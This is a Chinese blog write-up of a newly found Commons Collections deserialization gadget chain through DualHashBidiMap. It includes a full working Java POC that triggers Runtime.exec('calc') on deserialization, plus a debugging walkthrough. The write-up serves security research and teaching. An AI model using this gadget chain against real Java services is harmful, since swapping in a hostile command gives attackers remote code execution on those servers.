前言

最近回顾了下之前的关于Commons Collections这块的笔记,从CC1到CC10,从调用链来看,其实都是很相似的。为了巩固下复习的效果,尝试挖掘一条新的调用链,遂出现了本文,大佬轻喷。

建议读者对Commons Collections链有一定了解后再阅读此文。

基础准备

这里直接用ysoserial的源码就可以,jdk的版本我这里用的是1.8u131。我们应该知道,在这个jdk版本下,CC1和CC3中利用的AnnotationInvocationHandler是经过修复的,在CC1和CC3的调用链中,都是利用AnnotationInvocationHandler.readObject()来作为入口。

所以,首先我们全局搜索“readObject(”:

经过筛选,找到org.apache.commons.collections.bidimap.DualHashBidiMap这个类,其依赖于commons-collections-3.1.jar

【关注私信回复“资料课”可获取网络安全 全套学习资料】

我们来看DualHashBidiMap的readObject():

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();
maps[0] = new HashMap();
maps[1] = new HashMap();
Map map = (Map) in.readObject();
putAll(map);
}

跟进DualHashBidiMap的父类AbstractDualBidiMap#putAll方法:

public void putAll(Map map) {for (Iterator it = map.entrySet().iterator(); it.hasNext();) {Map.Entry entry = (Map.Entry) it.next();
put(entry.getKey(), entry.getValue());
}
}

跟进AbstractDualBidiMap.put():

public Object put(Object key, Object value) {if (maps[0].containsKey(key)) {maps[1].remove(maps[0].get(key));
}
if (maps[1].containsKey(value)) {maps[0].remove(maps[1].get(value));
}
final Object obj = maps[0].put(key, value);
maps[1].put(value, key);
return obj;
}

注意这里的

if (maps[0].containsKey(key)) {maps[1].remove(maps[0].get(key));
}

1、由这个

maps[0].containsKey(key)

依据之前的CC链,可联想到HashMap#containsKey(key),其中调用了hash(key)->key.hashCode(),进而联想到TiedMapEntry#hashCode(),我们可构造将key设为TiedMapEntry对象即可。

2、由这个

maps[0].get(key)

依据之前的CC链,可联想到LazyMap.get(key),但是这里实际是无法构造利用的,后边会说到,读者可以先思考一下是为什么。

找到了readObject()入口,接下来我们有必要来了解一下DualHashBidiMap这个类的作用。

DualHashBidiMap

我们可以直接从源码来看:

依据此类的英文注释及其字段和方法的定义,可知commons-collections包中提供此集合类,作用为双向map,即可以通过key找到value,也可以通过value找到key。

其抽象类AbstractDualBidiMap为其提供了一些字段定义及一些常用方法。

大概思路有了,类的定义也了解了,我们可以开始构造POC

构造POC

我这里先贴上最终POC,然后会进行讲解。

package ysoserial;import org.apache.commons.collections.BidiMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class PocDualHashBidiMap {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
// 使用ChainedTransformer组合利用链
Transformer transformerChain = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");// Map<String, Object>,这个Map对象的键是String类型,值是Object类型
Map<String, Object> map = new HashMap<String, Object>();
map.put("test", tiedMapEntry);
map.put("test1", "test1");// 反射创建对象
Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap");
Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class);
m_ctor.setAccessible(true);
Object payload_instance = m_ctor.newInstance(map, null, null);FileOutputStream fileOutputStream = new FileOutputStream("payload_dualHashBidMap1.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(payload_instance);
outputStream.close();FileInputStream fis = new FileInputStream("payload_dualHashBidMap1.ser");
ObjectInputStream bit = new ObjectInputStream(fis);
bit.readObject();
}
}

第一部分(CC1)

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
// 使用ChainedTransformer组合利用链
Transformer transformerChain = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

这一部分是利用的CC1中的一部分POC,这里大概讲一下思路,不深入讲解了。

由于LazyMap对象是无法直接通过构造方法来构造的,需要通过其decorate方法来绑定一个转换器,这里绑定了ChainedTransformer对象。然后就可以通过调用LazyMap.get()进而调用到ChainedTransformer.transform(),又可进而遍历调用到ChainedTransformer对象中的4个对象(1个ConstantTransformer3个InvokerTransformer)的transform(),第一次遍历调用transform()的结果作为入参传入第二次遍历调用的transform(),以此类推。ConstantTransformer.transform()会直接返回传入的参数值,InvokerTransformer.transform()会反射调用方法。

第二部分(CC6)

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");

依据我们前边联想到的思路,这里为了利用TiedMapEntry#hashCode(),此方法是CC6和CC7其中的一环,这里就不分析了,后边调试的时候会说。

第三部分(DualHashBidiMap3入参protected构造方法)

Map<String, Object> map = new HashMap<String, Object>();
map.put("test", tiedMapEntry);
map.put("test1", "test1");// 反射创建对象
Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap");
Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class);
m_ctor.setAccessible(true);
Object payload_instance = m_ctor.newInstance(map, null, null);

其实在这里,我们构造的恶意TiedMapEntry不管是放在键位还是值位,都是可以的,后边会说到。

我们在构造DualHashBidiMap对象时,选的是3入参的构造方法,这里看下:

protected DualHashBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {super(normalMap, reverseMap, inverseBidiMap);
}

由于此构造方法为protected的,所以我们需要利用反射来构造
super对应DualHashBidiMap的父类AbstractDualBidiMap的构造方法:

protected AbstractDualBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {super();
maps[0] = normalMap;
maps[1] = reverseMap;
this.inverseBidiMap = inverseBidiMap;
}

为了便于理解,配合调试来讲解:

当“DualHashBidiMap的构造方法中、调用super来调用父类AbstractDualBidiMap的构造方法”时,调试进入AbstractDualBidiMap类中,this表示的仍是DualHashBidiMap,也就是说,AbstractDualBidiMap构造的字段都是属于DualHashBidiMap对象的:

断点来到父类AbstractDualBidiMap的构造方法时,会先依据AbstractDualBidiMap类中,对于一些字段的初始化定义,都给到DualHashBidiMap对象

DualHashBidiMap对象会得到这些字段属性,包括maps[0]和maps[1]属性:public abstract class AbstractDualBidiMap implements BidiMap {/**
* Delegate map array.  The first map contains standard entries, and the
* second contains inverses.
*/
protected transient final Map[] maps = new Map[2];
/**
* Inverse view of this map.
*/
protected transient BidiMap inverseBidiMap = null;
/**
* View of the keys.
*/
protected transient Set keySet = null;
/**
* View of the values.
*/
protected transient Collection values = null;
/**
* View of the entries.
*/
protected transient Set entrySet = null;


而这个

maps[0] = normalMap;

对应POC中:

Object payload_instance = m_ctor.newInstance(map, null, null);

所以,赋值给maps[0]的就是normalMap(我们构造的HashMap对象)

也就是说,此时的DualHashBidiMap对象的maps[0]属性(我们构造的HashMap对象)的其中一个HashMap$Node对象,对应POC构造的:

Map<String, Object> map = new HashMap<String, Object>();
map.put(“test”, tiedMapEntry);

DualHashBidiMap对象构造好之后,序列化时,会将这些字段属性一层一层写入序列化流:

调试

构造好POC后,打上断点,调试分析一下:


反序列化时,来看DualHashBidiMap的自实现的 readObject() :

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();
maps[0] = new HashMap();
maps[1] = new HashMap();
Map map = (Map) in.readObject();
putAll(map);
}

可以看到,maps[0]和maps[1]属性都被赋值为空的HashMap对象了,这不是与我们上边构造的冲突了吗?

调试到此处看下:

我们上边构造的DualHashBidiMap对象的maps[0]属性(我们构造的HashMap对象)的其中一个HashMap$Node对象的值就是恶意TiedMapEntry对象。

调试发现,DualHashBidiMap的自实现的 readObject() 中的

Map map = (Map) in.readObject();

实际就是把我们POC中构造的HashMap对象:

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, “1”);
Map<String, Object> map = new HashMap<String, Object>();
map.put(“test”, tiedMapEntry);

给取出来了,给到Map对象map,然后调用 putAll() 时,作为入参传入此Map对象:


可以这样理解,readObject方法就是反序列化读取出来当前类中的对象,具体是哪个字段,哪一层的,其实是不固定的:

执行完

Map map = (Map) in.readObject();

这句后,反序列化之后的DualHashBidiMap对象的maps[0]和maps[1]属性还是空的HashMap对象,没有改变:


跟进putAll方法:

迭代读取HashMap$Node对象节点。

第一个就是我们构造的恶意HashMap$Node对象:

跟进put方法:

maps[0]和maps[1]都为刚才readObject方法中赋值的空的HashMap对象,这也就是前边说的,为什么不可利用LazyMap.get()

我们可以通过这个maps[1],来到HashMap#containsKey方法:


此时的key为构造的恶意TiedMapEntry对象,继续跟进hash方法:

跟进hashCode方法:

继续跟进getValue方法:

这里开始就和CC1的调用链重叠了,就不继续跟进了。

调用链

DualHashBidiMap.readObject() -> AbstractDualBidiMap.putAll() -> AbstractDualBidiMap.put() -> HashMap.containsKey() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> ChainedTransformer.transform()

结语

其实就是一些之前CC链的拼接而已。

【web安全】记一次 Commons Collections 新调用链的挖掘相关推荐

  1. java multivaluemap_java – 使用自定义值集合类型创建Commons Collections MultiValueMap

    Apache Commons Collections库的4.0版本增加了泛型支持.我无法转换代码以利用它: 我想要一个MultiValueMap,它将String作为键,并将一个字符串集合作为值.但: ...

  2. Commons Collections

    Apache Commons Collections - Overview Commons Collections增强了Java Collections Framework.它提供了几个功能,使收集处 ...

  3. Java猿社区—Apache Commons Collections—CollectionUtils工具类详解

    欢迎关注作者博客 简书传送门 文章目录 前言 代码示例 前言 论阅读源码的重要性,后期会对各大开源框架相关源码做详细阅读,并熟悉使用,本次主要对Apache Commons Collections中C ...

  4. Apache Commons Collections包和简介

    背景介绍 Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目.Commons的目的是提供可重用的.解决各种实际的通用问题且开源的Java代码.Commons由三部 ...

  5. 常见web漏洞验证攻略(萌新入坑必备!)

    常见web漏洞验证攻略(萌新入坑必备 首先,祝大家愚人节快乐,玩笑有度,"愚"人同乐. 其次,回想当年刚入坑的时候了解的比较少,也没人带,一般过去就是xss,后来xss的防护了,就 ...

  6. spring整合hibernate出现NoClassDefFoundError: org/apache/commons/collections/map/LRUMap

    错误代码: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'sessio ...

  7. maven使用mvn命令创建项目异常java.lang.NoClassDefFoundError: org/apache/commons/collections/ExtendedProperties

    命令: mvn archetype:generate -DarchetypeArtifactId=jersey-quickstart-gri zzly2 -DarchetypeGroupId=org. ...

  8. apache commons collections CollectionUtils工具类简单使用

    CollectionUtils提供很多对集合的操作方法,常用的方法如下 不仅可以判断Collection集合类,还可以判断JSONArray是否为空. import org.apache.common ...

  9. Apache Commons Collections反序列化漏洞分析与复现

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 漏洞分析 存在安全缺陷的版本:Apache Commons Collections3.2.1以下,[JD ...

最新文章

  1. 诊断IIS中的ASP0115错误
  2. 开源项目JacpFX
  3. 批处理延时启动的几个方法
  4. iphone最新款手机_iPhone 丢了99.9%能找回?这种做法不可信!!
  5. 网站后端_Python+Flask.0007.FLASK构造跳转之301跳转与302重定向?
  6. java取模运算_Java的四则运算符与取模运算符
  7. 漫步凸分析六——凸集的相对内点
  8. java 反射覆盖方法,java – 确定一个方法是否覆盖使用反射的另一个?
  9. 手机配置代理报错invalid host header
  10. 我的第一次--我与51CTO的故事
  11. Mysql修改字段长度
  12. Ribbon界面开发(C++)
  13. OSPF P2MP 扩展知识
  14. 熟练使用Wireshark排除网络故障的方法
  15. VScode插件管理(C/C++)
  16. 一个屌丝程序猿的人生(六十九)
  17. 解决外边距坍塌的几种方法
  18. linux服务器之间文件传输scp
  19. Scratch-(五)满天星-画笔绘制五角星
  20. 华为鸿蒙替换,替换安卓!华为鸿蒙OS旗舰来了

热门文章

  1. Python编程语言学习:在for循环中如何同时使用2个变量或者3个变量
  2. TF之DNN:TF利用简单7个神经元的三层全连接神经网络【2-3-2】实现降低损失到0.000以下
  3. 逻辑回归模型详解(Logistic Regression)
  4. BindingException: Invalid bound statement (not found)问题排查:SpringBoot集成Mybatis重点分析...
  5. win10下使用wget
  6. bzoj 1412 [ZJOI2009]狼和羊的故事 最小割建图
  7. json数组显示格式
  8. android缓存之Lrucache 和LinkedHashMap
  9. SQLserver单表数据导入导出
  10. mac svn .a文件的上传方法